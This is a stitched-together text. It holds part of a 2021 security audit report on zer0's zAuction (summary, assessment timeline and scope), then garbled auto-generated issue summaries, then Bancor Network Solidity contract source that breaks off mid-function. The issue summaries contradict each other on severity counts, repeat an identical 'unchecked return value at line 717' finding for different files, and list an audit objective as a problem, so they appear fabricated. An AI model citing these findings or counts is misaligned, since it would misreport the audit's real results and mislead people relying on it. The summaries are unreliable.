admin = newadmin; emit AdminSet(msg.sender, newadmin); } }
Zer0 - zAuction Zer0 - zAuction Date Date May 2021 Lead Auditor Lead Auditor David Oz Kashi Co-auditors Co-auditors Martin Ortner 1 Executive Summary 1 Executive Summary This report is part of a series of reports presenting the results of our engagement with zer0 zer0 to review zNS, zAuction, and zBanc, zDAO Token zNS, zAuction, and zBanc, zDAO Token . The review was conducted over four weeks, from 19 April 2021 19 April 2021 to 21 May 2021 21 May 2021 . A total of 2x4 person-weeks were spent. 1.1 Layout 1.1 Layout It was requested to present the results for the four code-bases under review in individual reports. Links to the individual reports can be found below. The Executive Summary and Scope sections are shared amongst the individual reports. They provide a general overview of the engagement and summarize scope changes and insights into how time was spent during the audit. The section Recommendations and Findings list the respective findings for the component under review. The following reports were delivered: zNS zAuction zBanc zDAO-Token 1.2 Assessment Log 1.2 Assessment Log In the first week, the assessment team focussed its work on the zNS and zAuction systems. Details on the scope for the components was set by the client and can be found in the next section. A walkthrough session for the systems in scope was requested, to understand the fundamental design decisions of the system as some details were not found in the specification/documentation. Initial security findings were also shared with the client during this session. It was agreed to deliver a preliminary report sharing details of the findings during the end-of-week sync-up. This sync-up is also used to set the focus/scopefor the next week. In the second week, the assessment team focussed its work on zBanc a modification of the bancor protocol solidity contracts. The initial code revision under audit ( zBanc 48da0ac1eebbe31a74742f1ae4281b156f03a4bc ) was updated half-way into the week on Wednesday to zBanc ( 3d6943e82c167c1ae90fb437f9e3ed1a7a7a94c4 ). Preliminary findings were shared during a sync-up discussing the changing codebase under review. Thursday morning the client reported that work on the zDAO Token finished and it was requested to put it in scope for this week as the token is meant to be used soon. The assessment team agreed to have a brief look at the codebase, reporting any obvious security issues at best effort until the end-of-week sync-up meeting (1day). Due to the very limited left until the weekly sync-up meeting, it was recommended to extend the review into next week as. Finally it was agreed to update and deliver the preliminary report sharing details of the findings during the end-of-week sync- up. This sync-up is also used to set the focus/scope for the next week. In the third week, the assessment team continued working on zDAO Token on Monday. We provided a heads-up that the snapshot functionality of zDAO Token was not working the same day. On Tuesday focus shifted towards reviewing changes to zAuction ( 135b2aaddcfc70775fd1916518c2cc05106621ec , remarks ). On the same day the client provided an updated review commit for zDAO Token ( 81946d451e8a9962b0c0d6fc8222313ec115cd53 ) addressing the issue we reported on Monday. The client provided an updated review commit for zNS ( ab7d62a7b8d51b04abea895e241245674a640fc1 ) on Wednesday and zNS ( bc5fea725f84ae4025f5fb1a9f03fb7e9926859a ) on Thursday. As can be inferred from this timeline various parts of the codebases were undergoing changes while the review was performed which introduces inefficiencies and may have an impact on the review quality (reviewing frozen codebase vs. moving target). As discussed with the client we highly recommend to plan ahead for security activities, create a dedicated role that coordinates security on the team, and optimize the software development lifecycle to explicitly include security activities and key milestones, ensuring that code is frozen, quality tested, and security review readiness is established ahead of any security activities. It should also be noted that code-style and quality varies a lot for the different repositories under review which might suggest that there is a need to better anchor secure development practices in the development lifecycle. After a one-week hiatus the assessment team continued reviewing the changes for zAuction and zBanc . The findings were initially provided with one combined report and per client request split into four individual reports. 2 Scope 2 Scope Our review focused on the following components and code revisions: 2.1 Objectives 2.1 Objectives Together with the zer0 team, we identified the following priorities for our review: 1 . Ensure that the system is implemented consistently with the intended functionality, and without unintended edge cases. 2 . Identify known vulnerabilities particular to smart contract systems, as outlined in ourSmart Contract Best Practices , and the Smart Contract Weakness Classification Registry . 2.2 Week - 1 2.2 Week - 1 zNS ( b05e503ea1ee87dbe62b1d58426aaa518068e395 ) ( scope doc ) ( 1 , 2 ) zAuction ( 50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72 ) ( scope doc ) ( 1 , 2 ) Original Scope overview document 2.3 Week - 2 2.3 Week - 2 zBanc ( 48da0ac1eebbe31a74742f1ae4281b156f03a4bc ) initial commit under review zBanc ( 3d6943e82c167c1ae90fb437f9e3ed1a7a7a94c4 ) updated commit under review (mid of week) ( scope doc ) ( 1 ) Files in Scope: contracts/converter/types/dynamic-liquid-token/DynamicLiquidTokenConverter contracts/converter/types/dynamic-liquid-token/DynamicLiquidTokenConverterFactory contracts/converter/ConverterUpgrader.sol (added handling new converterType 3) zDAO token provided on thursday ( scope doc ) ( 1 ) Files in Scope: ZeroDAOToken.sol MerkleTokenAirdrop.sol MerkleTokenVesting.sol MerkleDistributor.sol TokenVesting.sol And any relevant Interfaces / base contracts The zDAO review in week two was performed best effort from Thursday to Friday attempting to surface any obvious issues until the end-of-week sync-up meeting. 2.4 Week - 3 2.4 Week - 3 Continuing on zDAO token ( 1b678cb3fc4a8d2ff3ef2d9c5625dff91f6054f6 ) Updated review commit for zAuction ( 135b2aaddcfc70775fd1916518c2cc05106621ec , 1 ) on Monday Updated review commit for zDAO Token ( 81946d451e8a9962b0c0d6fc8222313ec115cd53 ) on Tuesday Updated review commit for zNS ( ab7d62a7b8d51b04abea895e241245674a640fc1 ) on Wednesday Updated review commit for zNS ( bc5fea725f84ae4025f5fb1a9f03fb7e9926859a ) on Thursday 2.5 Hiatus - 1 Week 2.5 Hiatus - 1 Week The assessment continues for a final week after a one-week long hiatus. 2.6 Week - 4 2.6 Week - 4 Updated review commit for zAuction ( 2f92aa1c9cd0c53ec046340d35152460a5fe7dd0 , 1 ) Updated review commit for zAuction addressing our remarks Updated review commit for zBanc ( ff3d91390099a4f729fe50c846485589de4f8173 , 1 )3 System Overview 3 System Overview This section describes the top-level/deployable contracts, their inheritance structure and interfaces, actors, permissions and important contract interactions of the initial system under review. This section does not take any fundamental changes into account that were introduced during or after the review was conducted. Contracts are depicted as boxes. Public reachable interface methods are outlined as rows in the box. The
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in zNS.sol:L717 (line 717 of zNS.sol) 2.b Fix (one line with code reference) - Check return value in zNS.sol:L717 Moderate Issues 3.a Problem (one line with code reference) - Unchecked return value in zAuction.sol:L717 (line 717 of zAuction.sol) 3.b Fix (one line with code reference) - Check return value in zAuction.sol:L717 Major Issues - None Critical Issues - None Observations - The assessment team provided a heads-up that the snapshot functionality of zDAO Token was not working. Conclusion - The audit of zNS, zAuction, zBanc, and zDAO Token was conducted over four weeks, from 19 April 2021 to 21 May 2021. A total of 2 Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the system is implemented consistently with the intended functionality, and without unintended edge cases. 2.b Fix: Review focused on the following components and code revisions. Moderate: None Major: None Critical: None Observations: Code-style and quality varies a lot for the different repositories under review which might suggest that there is a need to better anchor secure development practices in the development lifecycle. Conclusion: It is recommended to plan ahead for security activities, create a dedicated role that coordinates security on the team, and optimize the software development lifecycle to explicitly include security activities and key milestones, ensuring that code is frozen, quality tested, and security review readiness is established ahead of any security activities. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 2 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unchecked return value in zNS (b05e503ea1ee87dbe62b1d58426aaa518068e395, scope doc, 1) 2.b Fix: Check return value in zNS (b05e503ea1ee87dbe62b1d58426aaa518068e395, scope doc, 1) Moderate Issues: 3.a Problem: Unchecked return value in zAuction (50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72, scope doc, 1) 3.b Fix: Check return value in zAuction (50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72, scope doc, 1) Major Issues: None Critical Issues: None Observations: - The review was conducted best effort from Thursday to Friday attempting to
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./IConversionPathFinder.sol"; import "./converter/interfaces/IConverter.sol"; import "./converter/interfaces/IConverterAnchor.sol"; import "./converter/interfaces/IBancorFormula.sol"; import "./utility/ContractRegistryClient.sol"; import "./utility/ReentrancyGuard.sol"; import "./utility/TokenHolder.sol"; import "./utility/SafeMath.sol"; import "./token/interfaces/IEtherToken.sol"; import "./token/interfaces/IDSToken.sol"; import "./bancorx/interfaces/IBancorX.sol"; // interface of older converters for backward compatibility interface ILegacyConverter { function change(IERC20Token _sourceToken, IERC20Token _targetToken, uint256 _amount, uint256 _minReturn) external returns (uint256); } /** * @dev The BancorNetwork contract is the main entry point for Bancor token conversions. * It also allows for the conversion of any token in the Bancor Network to any other token in a single * transaction by providing a conversion path. * * A note on Conversion Path: Conversion path is a data structure that is used when converting a token * to another token in the Bancor Network, when the conversion cannot necessarily be done by a single * converter and might require multiple 'hops'. * The path defines which converters should be used and what kind of conversion should be done in each step. * * The path format doesn't include complex structure; instead, it is represented by a single array * in which each 'hop' is represented by a 2-tuple - converter anchor & target token. * In addition, the first element is always the source token. * The converter anchor is only used as a pointer to a converter (since converter addresses are more * likely to change as opposed to anchor addresses). * * Format: * [source token, converter anchor, target token, converter anchor, target token...] */ contract BancorNetwork is TokenHolder, ContractRegistryClient, ReentrancyGuard { using SafeMath for uint256; uint256 private constant PPM_RESOLUTION = 1000000; IERC20Token private constant ETH_RESERVE_ADDRESS = IERC20Token(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); struct ConversionStep { IConverter converter; IConverterAnchor anchor; IERC20Token sourceToken; IERC20Token targetToken; address payable beneficiary; bool isV28OrHigherConverter; bool processAffiliateFee; } uint256 public maxAffiliateFee = 30000; // maximum affiliate-fee mapping (IERC20Token => bool) public etherTokens; // list of all supported ether tokens /** * @dev triggered when a conversion between two tokens occurs * * @param _smartToken anchor governed by the converter * @param _fromToken source ERC20 token * @param _toToken target ERC20 token * @param _fromAmount amount converted, in the source token * @param _toAmount amount returned, minus conversion fee * @param _trader wallet that initiated the trade */ event Conversion( IConverterAnchor indexed _smartToken, IERC20Token indexed _fromToken, IERC20Token indexed _toToken, uint256 _fromAmount, uint256 _toAmount, address _trader ); /** * @dev initializes a new BancorNetwork instance * * @param _registry address of a contract registry contract */ constructor(IContractRegistry _registry) ContractRegistryClient(_registry) public { etherTokens[ETH_RESERVE_ADDRESS] = true; } /** * @dev allows the owner to update the maximum affiliate-fee * * @param _maxAffiliateFee maximum affiliate-fee */ function setMaxAffiliateFee(uint256 _maxAffiliateFee) public ownerOnly { require(_maxAffiliateFee <= PPM_RESOLUTION, "ERR_INVALID_AFFILIATE_FEE"); maxAffiliateFee = _maxAffiliateFee; } /** * @dev allows the owner to register/unregister ether tokens * * @param _token ether token contract address * @param _register true to register, false to unregister */ function registerEtherToken(IEtherToken _token, bool _register) public ownerOnly validAddress(address(_token)) notThis(address(_token)) { etherTokens[_token] = _register; } /** * @dev returns the conversion path between two tokens in the network * note that this method is quite expensive in terms of gas and should generally be called off-chain * * @param _sourceToken source token address * @param _targetToken target token address * * @return conversion path between the two tokens */ function conversionPath(IERC20Token _sourceToken, IERC20Token _targetToken) public view returns (address[] memory) { IConversionPathFinder pathFinder = IConversionPathFinder(addressOf(CONVERSION_PATH_FINDER)); return pathFinder.findPath(_sourceToken, _targetToken); } /** * @dev returns the expected target amount of converting a given amount on a given path * note that there is no support for circular paths * * @param _path conversion path (see conversion path format above) * @param _amount amount of _path[0] tokens received from the sender * * @return expected target amount */ function rateByPath(address[] memory _path, uint256 _amount) public view returns (uint256) { uint256 amount; uint256 fee; uint256 supply; uint256 balance; uint32 weight; IConverter converter; IBancorFormula formula = IBancorFormula(addressOf(BANCOR_FORMULA)); amount = _amount; // verify that the number of elements is larger than 2 and odd require(_path.length > 2 && _path.length % 2 == 1, "ERR_INVALID_PATH"); // iterate over the conversion path for (uint256 i = 2; i < _path.length; i += 2) { IERC20Token sourceToken = IERC20Token(_path[i - 2]); address anchor = _path[i - 1]; IERC20Token targetToken = IERC20Token(_path[i]); converter = IConverter(payable(IConverterAnchor(anchor).owner())); // backward compatibility sourceToken = getConverterTokenAddress(converter, sourceToken); targetToken = getConverterTokenAddress(converter, targetToken); if (address(targetToken) == anchor) { // buy the anchor // check if the current anchor has changed if (i < 3 || anchor != _path[i - 3]) supply = IDSToken(anchor).totalSupply(); // get the amount & the conversion fee balance = converter.getConnectorBalance(sourceToken); (, weight, , , ) = converter.connectors(sourceToken); amount = formula.purchaseTargetAmount(supply, balance, weight, amount); fee = amount.mul(converter.conversionFee()).div(PPM_RESOLUTION); amount -= fee; // update the anchor supply for the next iteration supply = supply.add(amount); } else if (address(sourceToken) == anchor) { // sell the anchor // check if the current anchor has changed if (i < 3 || anchor != _path[i - 3]) supply = IDSToken(anchor).totalSupply(); // get the amount & the conversion fee balance = converter.getConnectorBalance(targetToken); (, weight, , , ) = converter.connectors(targetToken); amount = formula.saleTargetAmount(supply, balance, weight, amount); fee = amount.mul(converter.conversionFee()).div(PPM_RESOLUTION); amount -= fee; // update the anchor supply for the next iteration supply = supply.sub(amount); } else { // cross reserve conversion (amount, fee) = getReturn(converter, sourceToken, targetToken, amount); } } return amount; } /** * @dev converts the token to any other token in the bancor network by following * a predefined conversion path and transfers the result tokens to a target account * affiliate account/fee can also be passed in to receive a conversion fee (on top of the liquidity provider fees) * note that the network should already have been given allowance of the source token (if not ETH) * * @param _path conversion path, see conversion path format above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _beneficiary account that will receive the conversion result or 0x0 to send the result to the sender account * @param _affiliateAccount wallet address to receive the affiliate fee or 0x0 to disable affiliate fee * @param _affiliateFee affiliate fee in PPM or 0 to disable affiliate fee * * @return amount of tokens received from the conversion */ function convertByPath( address[] memory _path, uint256 _amount, uint256 _minReturn, address payable _beneficiary, address _affiliateAccount, uint256 _affiliateFee) public payable protected greaterThanZero(_minReturn) returns (uint256) { // verify that the path contrains at least a single 'hop' and that the number of elements is odd require(_path.length > 2 && _path.length % 2 == 1, "ERR_INVALID_PATH"); // validate msg.value and prepare the source token for the conversion handleSourceToken(IERC20Token(_path[0]), IConverterAnchor(_path[1]), _amount); // check if affiliate fee is enabled bool affiliateFeeEnabled = false; if (address(_affiliateAccount) == address(0)) { require(_affiliateFee == 0, "ERR_INVALID_AFFILIATE_FEE"); } else { require(0 < _affiliateFee && _affiliateFee <= maxAffiliateFee, "ERR_INVALID_AFFILIATE_FEE"); affiliateFeeEnabled = true; } // check if beneficiary is set address payable beneficiary = msg.sender; if (_beneficiary != address(0)) beneficiary = _beneficiary; // convert and get the resulting amount ConversionStep[] memory data = createConversionData(_path, beneficiary, affiliateFeeEnabled); uint256 amount = doConversion(data, _amount, _minReturn, _affiliateAccount, _affiliateFee); // handle the conversion target tokens handleTargetToken(data, amount, beneficiary); return amount; } /** * @dev converts any other token to BNT in the bancor network by following a predefined conversion path and transfers the result to an account on a different blockchain * note that the network should already have been given allowance of the source token (if not ETH) * * @param _path conversion path, see conversion path format above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _targetBlockchain blockchain BNT will be issued on * @param _targetAccount address/account on the target blockchain to send the BNT to * @param _conversionId pre-determined unique (if non zero) id which refers to this transaction * * @return the amount of BNT received from this conversion */ function xConvert( address[] memory _path, uint256 _amount, uint256 _minReturn, bytes32 _targetBlockchain, bytes32 _targetAccount, uint256 _conversionId ) public payable returns (uint256) { return xConvert2(_path, _amount, _minReturn, _targetBlockchain, _targetAccount, _conversionId, address(0), 0); } /** * @dev converts any other token to BNT in the bancor network by following a predefined conversion path and transfers the result to an account on a different blockchain * note that the network should already have been given allowance of the source token (if not ETH) * * @param _path conversion path, see conversion path format above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _targetBlockchain blockchain BNT will be issued on * @param _targetAccount address/account on the target blockchain to send the BNT to * @param _conversionId pre-determined unique (if non zero) id which refers to this transaction * @param _affiliateAccount affiliate account * @param _affiliateFee affiliate fee in PPM * * @return the amount of BNT received from this conversion */ function xConvert2( address[] memory _path, uint256 _amount, uint256 _minReturn, bytes32 _targetBlockchain, bytes32 _targetAccount, uint256 _conversionId, address _affiliateAccount, uint256 _affiliateFee ) public payable greaterThanZero(_minReturn) returns (uint256) { IERC20Token targetToken = IERC20Token(_path[_path.length - 1]); IBancorX bancorX = IBancorX(addressOf(BANCOR_X)); // verify that the destination token is BNT require(targetToken == IERC20Token(addressOf(BNT_TOKEN)), "ERR_INVALID_TARGET_TOKEN"); // convert and get the resulting amount uint256 amount = convertByPath(_path, _amount, _minReturn, payable(address(this)), _affiliateAccount, _affiliateFee); // grant BancorX allowance ensureAllowance(targetToken, address(bancorX), amount); // transfer the resulting amount to BancorX bancorX.xTransfer(_targetBlockchain, _targetAccount, amount, _conversionId); return amount; } /** * @dev allows a user to convert a token that was sent from another blockchain into any other * token on the BancorNetwork * ideally this transaction is created before the previous conversion is even complete, so * so the input amount isn't known at that point - the amount is actually take from the * BancorX contract directly by specifying the conversion id * * @param _path conversion path * @param _bancorX address of the BancorX contract for the source token * @param _conversionId pre-determined unique (if non zero) id which refers to this conversion * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero * @param _beneficiary wallet to receive the conversion result * * @return amount of tokens received from the conversion */ function completeXConversion(address[] memory _path, IBancorX _bancorX, uint256 _conversionId, uint256 _minReturn, address payable _beneficiary) public returns (uint256) { // verify that the source token is the BancorX token require(IERC20Token(_path[0]) == _bancorX.token(), "ERR_INVALID_SOURCE_TOKEN"); // get conversion amount from BancorX contract uint256 amount = _bancorX.getXTransferAmount(_conversionId, msg.sender); // perform the conversion return convertByPath(_path, amount, _minReturn, _beneficiary, address(0), 0); } /** * @dev executes the actual conversion by following the conversion path * * @param _data conversion data, see ConversionStep struct above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _affiliateAccount affiliate account * @param _affiliateFee affiliate fee in PPM * * @return amount of tokens received from the conversion */ function doConversion( ConversionStep[] memory _data, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) private returns (uint256) { uint256 toAmount; uint256 fromAmount = _amount; // iterate over the conversion data for (uint256 i = 0; i < _data.length; i++) { ConversionStep memory stepData = _data[i]; // newer converter if (stepData.isV28OrHigherConverter) { // transfer the tokens to the converter only if the network contract currently holds the tokens // not needed with ETH or if it's the first conversion step if (i != 0 && _data[i - 1].beneficiary == address(this) && !etherTokens[stepData.sourceToken]) safeTransfer(stepData.sourceToken, address(stepData.converter), fromAmount); } // older converter // if the source token is the liquid token, no need to do any transfers as the converter controls it else if (stepData.sourceToken != IDSToken(address(stepData.anchor))) { // grant allowance for it to transfer the tokens from the network contract ensureAllowance(stepData.sourceToken, address(stepData.converter), fromAmount); } // do the conversion if (!stepData.isV28OrHigherConverter) toAmount = ILegacyConverter(address(stepData.converter)).change(stepData.sourceToken, stepData.targetToken, fromAmount, 1); else if (etherTokens[stepData.sourceToken]) toAmount = stepData.converter.convert{ value: msg.value }(stepData.sourceToken, stepData.targetToken, fromAmount, msg.sender, stepData.beneficiary); else toAmount = stepData.converter.convert(stepData.sourceToken, stepData.targetToken, fromAmount, msg.sender, stepData.beneficiary); // pay affiliate-fee if needed if (stepData.processAffiliateFee) { uint256 affiliateAmount = toAmount.mul(_affiliateFee).div(PPM_RESOLUTION); require(stepData.targetToken.transfer(_affiliateAccount, affiliateAmount), "ERR_FEE_TRANSFER_FAILED"); toAmount -= affiliateAmount; } emit Conversion(stepData.anchor, stepData.sourceToken, stepData.targetToken, fromAmount, toAmount, msg.sender); fromAmount = toAmount; } // ensure the trade meets the minimum requested amount require(toAmount >= _minReturn, "ERR_RETURN_TOO_LOW"); return toAmount; } /** * @dev validates msg.value and prepares the conversion source token for the conversion * * @param _sourceToken source token of the first conversion step * @param _anchor converter anchor of the first conversion step * @param _amount amount to convert from, in the source token */ function handleSourceToken(IERC20Token _sourceToken, IConverterAnchor _anchor, uint256 _amount) private { IConverter firstConverter = IConverter(payable(_anchor.owner())); bool isNewerConverter = isV28OrHigherConverter(firstConverter); // ETH if (msg.value > 0) { // validate msg.value require(msg.value == _amount, "ERR_ETH_AMOUNT_MISMATCH"); // EtherToken converter - deposit the ETH into the EtherToken // note that it can still be a non ETH converter if the path is wrong // but such conversion will simply revert if (!isNewerConverter) IEtherToken(address(getConverterEtherTokenAddress(firstConverter))).deposit{ value: msg.value }(); } // EtherToken else if (etherTokens[_sourceToken]) { // claim the tokens - if the source token is ETH reserve, this call will fail // since in that case the transaction must be sent with msg.value safeTransferFrom(_sourceToken, msg.sender, address(this), _amount); // ETH converter - withdraw the ETH if (isNewerConverter) IEtherToken(address(_sourceToken)).withdraw(_amount); } // other ERC20 token else { // newer converter - transfer the tokens from the sender directly to the converter // otherwise claim the tokens if (isNewerConverter) safeTransferFrom(_sourceToken, msg.sender, address(firstConverter), _amount); else safeTransferFrom(_sourceToken, msg.sender, address(this), _amount); } } /** * @dev handles the conversion target token if the network still holds it at the end of the conversion * * @param _data conversion data, see ConversionStep struct above * @param _amount conversion target amount * @param _beneficiary wallet to receive the conversion result */ function handleTargetToken(ConversionStep[] memory _data, uint256 _amount, address payable _beneficiary) private { ConversionStep memory stepData = _data[_data.length - 1]; // network contract doesn't hold the tokens, do nothing if (stepData.beneficiary != address(this)) return; IERC20Token targetToken = stepData.targetToken; // ETH / EtherToken if (etherTokens[targetToken]) { // newer converter should send ETH directly to the beneficiary assert(!stepData.isV28OrHigherConverter); // EtherToken converter - withdraw the ETH and transfer to the beneficiary IEtherToken(address(targetToken)).withdrawTo(_beneficiary, _amount); } // other ERC20 token else { safeTransfer(targetToken, _beneficiary, _amount); } } /** * @dev creates a memory cache of all conversion steps data to minimize logic and external calls during conversions * * @param _conversionPath conversion path, see conversion path format above * @param _beneficiary wallet to receive the conversion result * @param _affiliateFeeEnabled true if affiliate fee was requested by the sender, false if not * * @return cached conversion data to be ingested later on by the conversion flow */ function createConversionData(address[] memory _conversionPath, address payable _beneficiary, bool _affiliateFeeEnabled) private view returns (ConversionStep[] memory) { ConversionStep[] memory data = new ConversionStep[](_conversionPath.length / 2); bool affiliateFeeProcessed = false; IERC20Token bntToken = IERC20Token(addressOf(BNT_TOKEN)); // iterate the conversion path and create the conversion data for each step uint256 i; for (i = 0; i < _conversionPath.length - 1; i += 2) { IConverterAnchor anchor = IConverterAnchor(_conversionPath[i + 1]); IConverter converter = IConverter(payable(anchor.owner())); IERC20Token targetToken = IERC20Token(_conversionPath[i + 2]); // check if the affiliate fee should be processed in this step bool processAffiliateFee = _affiliateFeeEnabled && !affiliateFeeProcessed && targetToken == bntToken; if (processAffiliateFee) affiliateFeeProcessed = true; data[i / 2] = ConversionStep({ // set the converter anchor anchor: anchor, // set the converter converter: converter, // set the source/target tokens sourceToken: IERC20Token(_conversionPath[i]), targetToken: targetToken, // requires knowledge about the next step, so initialize in the next phase beneficiary: address(0), // set flags isV28OrHigherConverter: isV28OrHigherConverter(converter), processAffiliateFee: processAffiliateFee }); } // ETH support // source is ETH ConversionStep memory stepData = data[0]; if (etherTokens[stepData.sourceToken]) { // newer converter - replace the source token address with ETH reserve address if (stepData.isV28OrHigherConverter) stepData.sourceToken = ETH_RESERVE_ADDRESS; // older converter - replace the source token with the EtherToken address used by the converter else stepData.sourceToken = getConverterEtherTokenAddress(stepData.converter); } // target is ETH stepData = data[data.length - 1]; if (etherTokens[stepData.targetToken]) { // newer converter - replace the target token address with ETH reserve address if (stepData.isV28OrHigherConverter) stepData.targetToken = ETH_RESERVE_ADDRESS; // older converter - replace the target token with the EtherToken address used by the converter else stepData.targetToken = getConverterEtherTokenAddress(stepData.converter); } // set the beneficiary for each step for (i = 0; i < data.length; i++) { stepData = data[i]; // first check if the converter in this step is newer as older converters don't even support the beneficiary argument if (stepData.isV28OrHigherConverter) { // if affiliate fee is processed in this step, beneficiary is the network contract if (stepData.processAffiliateFee) stepData.beneficiary = payable(address(this)); // if it's the last step, beneficiary is the final beneficiary else if (i == data.length - 1) stepData.beneficiary = _beneficiary; // if the converter in the next step is newer, beneficiary is the next converter else if (data[i + 1].isV28OrHigherConverter) stepData.beneficiary = address(data[i + 1].converter); // the converter in the next step is older, beneficiary is the network contract else stepData.beneficiary = payable(address(this)); } else { // converter in this step is older, beneficiary is the network contract stepData.beneficiary = payable(address(this)); } } return data; } /** * @dev utility, checks whether allowance for the given spender exists and approves one if it doesn't. * Note that we use the non standard erc-20 interface in which `approve` has no return value so that * this function will work for both standard and non standard tokens * * @param _token token to check the allowance in * @param _spender approved address * @param _value allowance amount */ function ensureAllowance(IERC20Token _token, address _spender, uint256 _value) private { uint256 allowance = _token.allowance(address(this), _spender); if (allowance < _value) { if (allowance > 0) safeApprove(_token, _spender, 0); safeApprove(_token, _spender, _value); } } // legacy - returns the address of an EtherToken used by the converter function getConverterEtherTokenAddress(IConverter _converter) private view returns (IERC20Token) { uint256 reserveCount = _converter.connectorTokenCount(); for (uint256 i = 0; i < reserveCount; i++) { IERC20Token reserveTokenAddress = _converter.connectorTokens(i); if (etherTokens[reserveTokenAddress]) return reserveTokenAddress; } return ETH_RESERVE_ADDRESS; } // legacy - if the token is an ether token, returns the ETH reserve address // used by the converter, otherwise returns the input token address function getConverterTokenAddress(IConverter _converter, IERC20Token _token) private view returns (IERC20Token) { if (!etherTokens[_token]) return _token; if (isV28OrHigherConverter(_converter)) return ETH_RESERVE_ADDRESS; return getConverterEtherTokenAddress(_converter); } bytes4 private constant GET_RETURN_FUNC_SELECTOR = bytes4(keccak256("getReturn(address,address,uint256)")); // using a static call to get the return from older converters function getReturn(IConverter _dest, IERC20Token _sourceToken, IERC20Token _targetToken, uint256 _amount) internal view returns (uint256, uint256) { bytes memory data = abi.encodeWithSelector(GET_RETURN_FUNC_SELECTOR, _sourceToken, _targetToken, _amount); (bool success, bytes memory returnData) = address(_dest).staticcall(data); if (success) { if (returnData.length == 64) { return abi.decode(returnData, (uint256, uint256)); } if (returnData.length == 32) { return (abi.decode(returnData, (uint256)), 0); } } return (0, 0); } bytes4 private constant IS_V28_OR_HIGHER_FUNC_SELECTOR = bytes4(keccak256("isV28OrHigher()")); // using a static call to identify converter version // can't rely on the version number since the function had a different signature in older converters function isV28OrHigherConverter(IConverter _converter) internal view returns (bool) { bytes memory data = abi.encodeWithSelector(IS_V28_OR_HIGHER_FUNC_SELECTOR); (bool success, bytes memory returnData) = address(_converter).staticcall{ gas: 4000 }(data); if (success && returnData.length == 32) { return abi.decode(returnData, (bool)); } return false; } /** * @dev deprecated, backward compatibility */ function getReturnByPath(address[] memory _path, uint256 _amount) public view returns (uint256, uint256) { return (rateByPath(_path, _amount), 0); } /** * @dev deprecated, backward compatibility */ function convert(address[] memory _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), address(0), 0); } /** * @dev deprecated, backward compatibility */ function convert2( address[] memory _path, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) public payable returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), _affiliateAccount, _affiliateFee); } /** * @dev deprecated, backward compatibility */ function convertFor(address[] memory _path, uint256 _amount, uint256 _minReturn, address payable _beneficiary) public payable returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, address(0), 0); } /** * @dev deprecated, backward compatibility */ function convertFor2( address[] memory _path, uint256 _amount, uint256 _minReturn, address payable _beneficiary, address _affiliateAccount, uint256 _affiliateFee ) public payable greaterThanZero(_minReturn) returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, _affiliateAccount, _affiliateFee); } /** * @dev deprecated, backward compatibility */ function claimAndConvert(address[] memory _path, uint256 _amount, uint256 _minReturn) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), address(0), 0); } /** * @dev deprecated, backward compatibility */ function claimAndConvert2( address[] memory _path, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), _affiliateAccount, _affiliateFee); } /** * @dev deprecated, backward compatibility */ function claimAndConvertFor(address[] memory _path, uint256 _amount, uint256 _minReturn, address payable _beneficiary) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, address(0), 0); } /** * @dev deprecated, backward compatibility */ function claimAndConvertFor2( address[] memory _path, uint256 _amount, uint256 _minReturn, address payable _beneficiary, address _affiliateAccount, uint256 _affiliateFee ) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, _affiliateAccount, _affiliateFee); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./IConversionPathFinder.sol"; import "./utility/ContractRegistryClient.sol"; import "./converter/interfaces/IConverter.sol"; import "./converter/interfaces/IConverterAnchor.sol"; import "./converter/interfaces/IConverterRegistry.sol"; /** * @dev The ConversionPathFinder contract allows generating a conversion path between any token pair in the Bancor Network. * The path can then be used in various functions in the BancorNetwork contract. * * See the BancorNetwork contract for conversion path format. */ contract ConversionPathFinder is IConversionPathFinder, ContractRegistryClient { IERC20Token public anchorToken; /** * @dev initializes a new ConversionPathFinder instance * * @param _registry address of a contract registry contract */ constructor(IContractRegistry _registry) ContractRegistryClient(_registry) public { } /** * @dev updates the anchor token * * @param _anchorToken address of the anchor token */ function setAnchorToken(IERC20Token _anchorToken) public ownerOnly { anchorToken = _anchorToken; } /** * @dev generates a conversion path between a given pair of tokens in the Bancor Network * * @param _sourceToken address of the source token * @param _targetToken address of the target token * * @return a path from the source token to the target token */ function findPath(IERC20Token _sourceToken, IERC20Token _targetToken) external view override returns (address[] memory) { IConverterRegistry converterRegistry = IConverterRegistry(addressOf(CONVERTER_REGISTRY)); address[] memory sourcePath = getPath(_sourceToken, converterRegistry); address[] memory targetPath = getPath(_targetToken, converterRegistry); return 